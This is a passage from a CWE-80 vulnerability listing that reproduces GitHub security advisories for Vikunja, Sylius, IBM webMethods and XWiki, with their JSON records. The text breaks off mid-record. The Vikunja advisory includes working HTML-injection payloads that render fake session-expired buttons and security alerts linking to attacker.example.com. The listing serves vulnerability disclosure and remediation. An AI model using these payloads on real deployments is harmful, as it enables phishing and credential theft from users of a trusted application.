Common Weakness Enumeration

CWE-80

Allowed

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

936 vulnerabilities reference this CWE, most recent first.

GHSA-4QGR-4H56-8895

Vulnerability from github – Published: 2026-02-25 22:01 – Updated: 2026-02-27 21:50
VLAI
Summary
Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module
Details

Summary

Vikunja is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the filter URL parameter is rendered into the DOM without output encoding when the user clicks "Filter." While <script> and <iframe> are blocked, <svg>, <a>, and formatting tags (<h1>, <b>, <u>) render without restriction — enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.

Attack flow: Attacker shares a crafted project filter link (routine Vikunja workflow) → victim opens it → victim clicks "Filter" (standard UI action) → phishing content renders inside trusted Vikunja interface.

Affected Component

Field Detail
Application Vikunja v1.1.0
Module Projects
Endpoint /projects/-1/-1?filter=PAYLOAD&page=1
Parameter filter (GET)
Trigger Click "Filter" button
Stack Go backend, Vue.js + TypeScript frontend
Blocked <script>, <iframe>
Allowed <svg>, <a>, <rect>, <text>, <h1>, <b>, <u>

Proof-of-Concept

PoC-1: SVG Phishing Button (Highest Impact)

Renders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.

http://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E&page=1

Raw payload:

<svg width="400" height="60"><a href="https://attacker.example.com/login"><rect width="400" height="60" rx="4" fill="#d32f2f"></rect><text x="200" y="37" text-anchor="middle" fill="white" font-size="16">Session Expired - Click to Re-authenticate</text></a></svg>

PoC-2: Phishing Link via Heading + Anchor

Prominent clickable link styled as urgent system message.

http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E&page=1

Raw payload:

<h1><a href="https://attacker.example.com/login">⚠ Your session has expired. Click here to sign in again.</a></h1>

PoC-3: Content Spoofing — Fake Security Alert

Fake security warning directing victim to attacker-controlled contact.

http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E&page=1

Raw payload:

<h1><u><b>⚠ SECURITY ALERT</b></u></h1><b>Unauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.</b>

Root Cause

The filter parameter is inserted into the DOM as raw HTML — likely via Vue.js v-html or innerHTML. A partial denylist strips <script> and <iframe> but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.

Impact

Impact Description
SVG Phishing Buttons Pixel-perfect fake buttons redirect to credential harvesting pages
External Redirect Anchor tags point to attacker domains from within trusted origin
Content Spoofing Fake alerts manipulate users into contacting attacker channels
Self-Hosted Risk Compromised credentials may grant access to internal infrastructure
API Access Same credentials grant full REST API access for data exfiltration
No Logging GET-based reflected injection leaves no distinguishable server logs

Not Self-XSS: Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.

CWE & CVSS

CWE-79 (Primary) — Improper Neutralization of Input During Web Page Generation

CWE-80 (Secondary) — Improper Neutralization of Script-Related HTML Tags

CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1 (Medium)

Score understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.

Remediation

Priority Action
P0 Replace v-html with v-text or {{ }} interpolation (auto-escapes HTML)
P0 HTML entity encode the filter value at rendering point
P1 Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values
P1 Deploy CSP with form-action 'self'
P2 Server-side input validation — reject filter values not matching expected syntax

References

  • Vikunja Repository: https://github.com/go-vikunja/vikunja
  • CWE-79: https://cwe.mitre.org/data/definitions/79.html
  • CWE-80: https://cwe.mitre.org/data/definitions/80.html
  • OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html

Conclusion

The filter parameter in Vikunja's Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions — opening a shared link and clicking "Filter." The fix is a single-line change: replacing v-html with v-text in the Vue.js rendering logic. Given Vikunja's adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.

image

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.24.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:01:25Z",
    "nvd_published_at": "2026-02-25T22:16:24Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n[Vikunja](https://github.com/go-vikunja/vikunja) is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the `filter` URL parameter is rendered into the DOM without output encoding when the user clicks \"Filter.\" While `\u003cscript\u003e` and `\u003ciframe\u003e` are blocked, `\u003csvg\u003e`, `\u003ca\u003e`, and formatting tags (`\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e`) render without restriction \u2014 enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.\n\n**Attack flow:** Attacker shares a crafted project filter link (routine Vikunja workflow) \u2192 victim opens it \u2192 victim clicks \"Filter\" (standard UI action) \u2192 phishing content renders inside trusted Vikunja interface.\n\n## Affected Component\n\n| Field | Detail |\n|---|---|\n| Application | Vikunja v1.1.0 |\n| Module | Projects |\n| Endpoint | `/projects/-1/-1?filter=PAYLOAD\u0026page=1` |\n| Parameter | `filter` (GET) |\n| Trigger | Click \"Filter\" button |\n| Stack | Go backend, Vue.js + TypeScript frontend |\n| Blocked | `\u003cscript\u003e`, `\u003ciframe\u003e` |\n| Allowed | `\u003csvg\u003e`, `\u003ca\u003e`, `\u003crect\u003e`, `\u003ctext\u003e`, `\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e` |\n\n## Proof-of-Concept\n\n### PoC-1: SVG Phishing Button (Highest Impact)\n\nRenders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003csvg width=\"400\" height=\"60\"\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e\u003crect width=\"400\" height=\"60\" rx=\"4\" fill=\"#d32f2f\"\u003e\u003c/rect\u003e\u003ctext x=\"200\" y=\"37\" text-anchor=\"middle\" fill=\"white\" font-size=\"16\"\u003eSession Expired - Click to Re-authenticate\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\n### PoC-2: Phishing Link via Heading + Anchor\n\nProminent clickable link styled as urgent system message.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e\u26a0 Your session has expired. Click here to sign in again.\u003c/a\u003e\u003c/h1\u003e\n```\n\n### PoC-3: Content Spoofing \u2014 Fake Security Alert\n\nFake security warning directing victim to attacker-controlled contact.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003cu\u003e\u003cb\u003e\u26a0 SECURITY ALERT\u003c/b\u003e\u003c/u\u003e\u003c/h1\u003e\u003cb\u003eUnauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.\u003c/b\u003e\n```\n\n## Root Cause\n\nThe `filter` parameter is inserted into the DOM as raw HTML \u2014 likely via Vue.js `v-html` or `innerHTML`. A partial denylist strips `\u003cscript\u003e` and `\u003ciframe\u003e` but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.\n\n## Impact\n\n| Impact | Description |\n|---|---|\n| SVG Phishing Buttons | Pixel-perfect fake buttons redirect to credential harvesting pages |\n| External Redirect | Anchor tags point to attacker domains from within trusted origin |\n| Content Spoofing | Fake alerts manipulate users into contacting attacker channels |\n| Self-Hosted Risk | Compromised credentials may grant access to internal infrastructure |\n| API Access | Same credentials grant full REST API access for data exfiltration |\n| No Logging | GET-based reflected injection leaves no distinguishable server logs |\n\n**Not Self-XSS:** Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.\n\n## CWE \u0026 CVSS\n\n**CWE-79** (Primary) \u2014 Improper Neutralization of Input During Web Page Generation\n\n**CWE-80** (Secondary) \u2014 Improper Neutralization of Script-Related HTML Tags\n\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` \u2014 **6.1 (Medium)**\n\nScore understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.\n\n## Remediation\n\n| Priority | Action |\n|---|---|\n| P0 | Replace `v-html` with `v-text` or `{{ }}` interpolation (auto-escapes HTML) |\n| P0 | HTML entity encode the `filter` value at rendering point |\n| P1 | Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values |\n| P1 | Deploy CSP with `form-action \u0027self\u0027` |\n| P2 | Server-side input validation \u2014 reject filter values not matching expected syntax |\n\n## References\n\n- Vikunja Repository: https://github.com/go-vikunja/vikunja\n- CWE-79: https://cwe.mitre.org/data/definitions/79.html\n- CWE-80: https://cwe.mitre.org/data/definitions/80.html\n- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Conclusion\n\nThe `filter` parameter in Vikunja\u0027s Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions \u2014 opening a shared link and clicking \"Filter.\" The fix is a single-line change: replacing `v-html` with `v-text` in the Vue.js rendering logic. Given Vikunja\u0027s adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.\n\n\u003cimg width=\"1920\" height=\"1020\" alt=\"image\" src=\"https://github.com/user-attachments/assets/007f9b1a-fd20-4fe8-84e5-1bf886a5a7a9\" /\u003e\n\nA fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.",
  "id": "GHSA-4qgr-4h56-8895",
  "modified": "2026-02-27T21:50:55Z",
  "published": "2026-02-25T22:01:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-4qgr-4h56-8895"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/a42b4f37bde58596a3b69482cd5a67641a94f62d"
    },
    {
      "type": "WEB",
      "url": "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.0.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module"
}

GHSA-4QRP-27R3-66FJ

Vulnerability from github – Published: 2022-03-14 22:38 – Updated: 2022-03-18 15:22
VLAI
Summary
Improper sanitize of SVG files during content upload ('Cross-site Scripting') in sylius/sylius
Details

Impact

There is a possibility to upload an SVG file containing XSS code in the admin panel. In order to perform an XSS attack, the file itself has to be opened in a new card (or loaded outside of the IMG tag). The problem applies both to the files opened on the admin panel and shop pages.

Patches

The issue is fixed in versions: 1.9.10, 1.10.11, 1.11.2, and above.

Workarounds

If there is a need to upload an SVG image type, on-upload sanitization has to be added. The way to achieve this is to require a library that will do the trick:

composer require enshrined/svg-sanitize

The second step is all about performing a file content sanitization before writing it to the filesystem. It can be done by overwriting the service:

<?php

declare(strict_types=1);

namespace App\Uploader;

use enshrined\svgSanitize\Sanitizer;
use Gaufrette\Filesystem;
use Sylius\Component\Core\Generator\ImagePathGeneratorInterface;
use Sylius\Component\Core\Generator\UploadedImagePathGenerator;
use Sylius\Component\Core\Model\ImageInterface;
use Sylius\Component\Core\Uploader\ImageUploaderInterface;
use Symfony\Component\HttpFoundation\File\File;
use Webmozart\Assert\Assert;

final class ImageUploader implements ImageUploaderInterface
{
    private const MIME_SVG_XML = 'image/svg+xml';
    private const MIME_SVG = 'image/svg';

    /** @var Filesystem */
    protected $filesystem;

    /** @var ImagePathGeneratorInterface */
    protected $imagePathGenerator;

    /** @var Sanitizer */
    protected $sanitizer;

    public function __construct(
        Filesystem $filesystem,
        ?ImagePathGeneratorInterface $imagePathGenerator = null
    ) {
        $this->filesystem = $filesystem;

        if ($imagePathGenerator === null) {
            @trigger_error(sprintf(
                'Not passing an $imagePathGenerator to %s constructor is deprecated since Sylius 1.6 and will be not possible in Sylius 2.0.', self::class
            ), \E_USER_DEPRECATED);
        }

        $this->imagePathGenerator = $imagePathGenerator ?? new UploadedImagePathGenerator();
        $this->sanitizer = new Sanitizer();
    }

    public function upload(ImageInterface $image): void
    {
        if (!$image->hasFile()) {
            return;
        }

        /** @var File $file */
        $file = $image->getFile();

        Assert::isInstanceOf($file, File::class);

        $fileContent = $this->sanitizeContent(file_get_contents($file->getPathname()), $file->getMimeType());

        if (null !== $image->getPath() && $this->has($image->getPath())) {
            $this->remove($image->getPath());
        }

        do {
            $path = $this->imagePathGenerator->generate($image);
        } while ($this->isAdBlockingProne($path) || $this->filesystem->has($path));

        $image->setPath($path);

        $this->filesystem->write($image->getPath(), $fileContent);
    }

    public function remove(string $path): bool
    {
        if ($this->filesystem->has($path)) {
            return $this->filesystem->delete($path);
        }

        return false;
    }

    protected function sanitizeContent(string $fileContent, string $mimeType): string
    {
        if (self::MIME_SVG_XML === $mimeType || self::MIME_SVG === $mimeType) {
            $fileContent = $this->sanitizer->sanitize($fileContent);
        }

        return $fileContent;
    }

    private function has(string $path): bool
    {
        return $this->filesystem->has($path);
    }

    /**
     * Will return true if the path is prone to be blocked by ad blockers
     */
    private function isAdBlockingProne(string $path): bool
    {
        return strpos($path, 'ad') !== false;
    }
}

After that, register service in the container:

services:
    sylius.image_uploader:
        class: App\Uploader\ImageUploader
        arguments:
            - '@gaufrette.sylius_image_filesystem'
            - '@Sylius\Component\Core\Generator\ImagePathGeneratorInterface'

For more information

If you have any questions or comments about this advisory: * Open an issue in Sylius issues * Email us at security@sylius.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-14T22:38:14Z",
    "nvd_published_at": "2022-03-14T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThere is a possibility to upload an SVG file containing XSS code in the admin panel. In order to perform an XSS attack, the file itself has to be opened in a new card (or loaded outside of the IMG tag). The problem applies both to the files opened on the admin panel and shop pages.\n\n### Patches\nThe issue is fixed in versions: 1.9.10, 1.10.11, 1.11.2, and above.\n\n### Workarounds\nIf there is a need to upload an SVG image type, on-upload sanitization has to be added. The way to achieve this is to require a library that will do the trick:\n\n```\ncomposer require enshrined/svg-sanitize\n```\n\nThe second step is all about performing a file content sanitization before writing it to the filesystem. It can be done by overwriting the service:\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace App\\Uploader;\n\nuse enshrined\\svgSanitize\\Sanitizer;\nuse Gaufrette\\Filesystem;\nuse Sylius\\Component\\Core\\Generator\\ImagePathGeneratorInterface;\nuse Sylius\\Component\\Core\\Generator\\UploadedImagePathGenerator;\nuse Sylius\\Component\\Core\\Model\\ImageInterface;\nuse Sylius\\Component\\Core\\Uploader\\ImageUploaderInterface;\nuse Symfony\\Component\\HttpFoundation\\File\\File;\nuse Webmozart\\Assert\\Assert;\n\nfinal class ImageUploader implements ImageUploaderInterface\n{\n    private const MIME_SVG_XML = \u0027image/svg+xml\u0027;\n    private const MIME_SVG = \u0027image/svg\u0027;\n\n    /** @var Filesystem */\n    protected $filesystem;\n\n    /** @var ImagePathGeneratorInterface */\n    protected $imagePathGenerator;\n\n    /** @var Sanitizer */\n    protected $sanitizer;\n\n    public function __construct(\n        Filesystem $filesystem,\n        ?ImagePathGeneratorInterface $imagePathGenerator = null\n    ) {\n        $this-\u003efilesystem = $filesystem;\n\n        if ($imagePathGenerator === null) {\n            @trigger_error(sprintf(\n                \u0027Not passing an $imagePathGenerator to %s constructor is deprecated since Sylius 1.6 and will be not possible in Sylius 2.0.\u0027, self::class\n            ), \\E_USER_DEPRECATED);\n        }\n\n        $this-\u003eimagePathGenerator = $imagePathGenerator ?? new UploadedImagePathGenerator();\n        $this-\u003esanitizer = new Sanitizer();\n    }\n\n    public function upload(ImageInterface $image): void\n    {\n        if (!$image-\u003ehasFile()) {\n            return;\n        }\n\n        /** @var File $file */\n        $file = $image-\u003egetFile();\n\n        Assert::isInstanceOf($file, File::class);\n\n        $fileContent = $this-\u003esanitizeContent(file_get_contents($file-\u003egetPathname()), $file-\u003egetMimeType());\n\n        if (null !== $image-\u003egetPath() \u0026\u0026 $this-\u003ehas($image-\u003egetPath())) {\n            $this-\u003eremove($image-\u003egetPath());\n        }\n\n        do {\n            $path = $this-\u003eimagePathGenerator-\u003egenerate($image);\n        } while ($this-\u003eisAdBlockingProne($path) || $this-\u003efilesystem-\u003ehas($path));\n\n        $image-\u003esetPath($path);\n\n        $this-\u003efilesystem-\u003ewrite($image-\u003egetPath(), $fileContent);\n    }\n\n    public function remove(string $path): bool\n    {\n        if ($this-\u003efilesystem-\u003ehas($path)) {\n            return $this-\u003efilesystem-\u003edelete($path);\n        }\n\n        return false;\n    }\n\n    protected function sanitizeContent(string $fileContent, string $mimeType): string\n    {\n        if (self::MIME_SVG_XML === $mimeType || self::MIME_SVG === $mimeType) {\n            $fileContent = $this-\u003esanitizer-\u003esanitize($fileContent);\n        }\n\n        return $fileContent;\n    }\n\n    private function has(string $path): bool\n    {\n        return $this-\u003efilesystem-\u003ehas($path);\n    }\n\n    /**\n     * Will return true if the path is prone to be blocked by ad blockers\n     */\n    private function isAdBlockingProne(string $path): bool\n    {\n        return strpos($path, \u0027ad\u0027) !== false;\n    }\n}\n```\n\nAfter that, register service in the container:\n\n```yaml\nservices:\n    sylius.image_uploader:\n        class: App\\Uploader\\ImageUploader\n        arguments:\n            - \u0027@gaufrette.sylius_image_filesystem\u0027\n            - \u0027@Sylius\\Component\\Core\\Generator\\ImagePathGeneratorInterface\u0027\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues)\n* Email us at security@sylius.com\n",
  "id": "GHSA-4qrp-27r3-66fj",
  "modified": "2022-03-18T15:22:18Z",
  "published": "2022-03-14T22:38:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-4qrp-27r3-66fj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24749"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sylius/Sylius"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/releases/tag/v1.10.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/releases/tag/v1.11.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/releases/tag/v1.9.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper sanitize of SVG files during content upload (\u0027Cross-site Scripting\u0027) in sylius/sylius"
}

GHSA-4RXF-GW9P-PRJ2

Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31
VLAI
Details

IBM webMethods Integration Server 12.0 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T21:22:14Z",
    "severity": "MODERATE"
  },
  "details": "IBM webMethods Integration Server 12.0 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim\u0027s Web browser within the security context of the hosting\u00a0site.",
  "id": "GHSA-4rxf-gw9p-prj2",
  "modified": "2026-02-17T21:31:14Z",
  "published": "2026-02-17T21:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14289"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7260932"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4WC6-HQV9-QC97

Vulnerability from github – Published: 2023-06-20 16:47 – Updated: 2023-06-23 19:41
VLAI
Summary
XWiki Platform vulnerable to stored cross-site scripting in ClassEditSheet page via name parameters
Details

Impact

A stored XSS can be exploited by users with edit rights by adding a AppWithinMinutes.FormFieldCategoryClass class on a page and setting the payload on the page title. Then, any user visiting /xwiki/bin/view/AppWithinMinutes/ClassEditSheet executes the payload.

See https://jira.xwiki.org/browse/XWIKI-20365 for me details.

Patches

The issue has been patched on XWiki 14.4.8, 14.10.4, and 15.0 ?

Workarounds

The issue can be fixed by updating AppWithinMinutes.ClassEditSheet with this patch.

References

  • https://github.com/xwiki/xwiki-platform/commit/1b87fec1e5b5ec00b7a8c3c3f94f6c5e22547392#diff-79e725ec7125cced7d302e1a1f955a76745af26ef28a148981b810e85335d302
  • https://jira.xwiki.org/browse/XWIKI-20365

For more information

If you have any questions or comments about this advisory:

Attribution

This vulnerability has been reported on Intigriti by René de Sain @renniepak.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-appwithinminutes-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.4"
            },
            {
              "fixed": "14.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-appwithinminutes-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-appwithinminutes-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-35153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-20T16:47:13Z",
    "nvd_published_at": "2023-06-23T18:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA stored XSS can be exploited by users with edit rights by adding a `AppWithinMinutes.FormFieldCategoryClass` class on a page and setting the payload on the page title.\nThen, any user visiting `/xwiki/bin/view/AppWithinMinutes/ClassEditSheet` executes the payload.\n\nSee https://jira.xwiki.org/browse/XWIKI-20365 for me details.\n\n### Patches\nThe issue has been patched on XWiki 14.4.8, 14.10.4, and 15.0 ?\n\n### Workarounds\nThe issue can be fixed by updating `AppWithinMinutes.ClassEditSheet` with this [patch](https://github.com/xwiki/xwiki-platform/commit/1b87fec1e5b5ec00b7a8c3c3f94f6c5e22547392#diff-79e725ec7125cced7d302e1a1f955a76745af26ef28a148981b810e85335d302).\n\n### References\n- https://github.com/xwiki/xwiki-platform/commit/1b87fec1e5b5ec00b7a8c3c3f94f6c5e22547392#diff-79e725ec7125cced7d302e1a1f955a76745af26ef28a148981b810e85335d302\n- https://jira.xwiki.org/browse/XWIKI-20365\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n*    Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n*    Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nThis vulnerability has been reported on Intigriti by Ren\u00e9 de Sain @renniepak.\n",
  "id": "GHSA-4wc6-hqv9-qc97",
  "modified": "2023-06-23T19:41:52Z",
  "published": "2023-06-20T16:47:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-4wc6-hqv9-qc97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/1b87fec1e5b5ec00b7a8c3c3f94f6c5e22547392#diff-79e725ec7125cced7d302e1a1f955a76745af26ef28a148981b810e85335d302"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20365"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
